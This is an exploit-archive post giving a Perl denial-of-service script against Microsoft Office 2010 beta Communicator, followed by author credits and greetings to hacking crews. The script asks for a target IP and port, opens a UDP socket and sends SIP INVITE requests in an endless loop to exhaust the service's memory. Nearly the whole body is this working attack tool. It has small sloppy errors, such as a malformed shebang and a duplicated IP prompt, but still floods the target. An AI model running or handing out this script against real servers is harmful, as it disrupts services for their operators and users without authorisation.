Microsoft Office 2010 Beta SIP Denial Of Service

`========================================================================================   
| # Title : Microsoft Office ( 2010 beta ) Communicator SIP denial of service Exploit   
| # Author : indoushka   
| # email : [email protected]   
| # Home : www.iqs3cur1ty.com/vb   
| # Tested on: windows SP2   
| # Bug : Denial of service Exploit   
====================== Exploit By indoushka =================================  
# Exploit :   
  
#!usr/bin/perl   
#######################################################################################################################   
# Microsoft Office 2010 Communicator allows remote attack to cause a denial of service (memory consumption) via #  
# a large number of SIP INVITE requests. #   
#######################################################################################################################   
  
  
use IO::Socket;   
  
print("\nEnter IP Address of Target Server: \n");   
$vuln_host_ip = <STDIN>;   
print("\nEnter IP Address of Target Server: \n");   
$port = <STDIN>;   
  
$sock_sip = IO::Socket::INET->new( PeerAddr => $vuln_host_ip,   
PeerPort => $port,   
Proto => 'udp') || "Unable to create Socket";   
#if the server is configured on TCP replace 'udp' with 'tcp'.   
  
while(1)   
{   
print $sock_sip "INVITE sip:arpman.malicious.com SIP/2.0\r\nVia: SIP/2.0/UDP 172.16.16.4;branch=123-4567-900\r\n";   
  
}   
  
#program never comes here for execution   
  
close($sock_sip);  
  
Dz-Ghost Team ===== Saoucha * Star08 * Redda * Silitoad * XproratiX * onurozkan * n2n * ========================  
Greetz :   
Exploit-db Team :   
(loneferret+Exploits+dookie2000ca)  
all my friend :  
His0k4 * Hussin-X * Rafik (www.Tinjah.com) * Yashar (www.sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)  
Stake (www.v4-team.com) * r1z (www.sec-r1z.com) * D4NB4R (http://www.ilegalintrusion.net/foro/)  
Cyb3r IntRue (avengers team) * The globin * Virus_Hima  
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`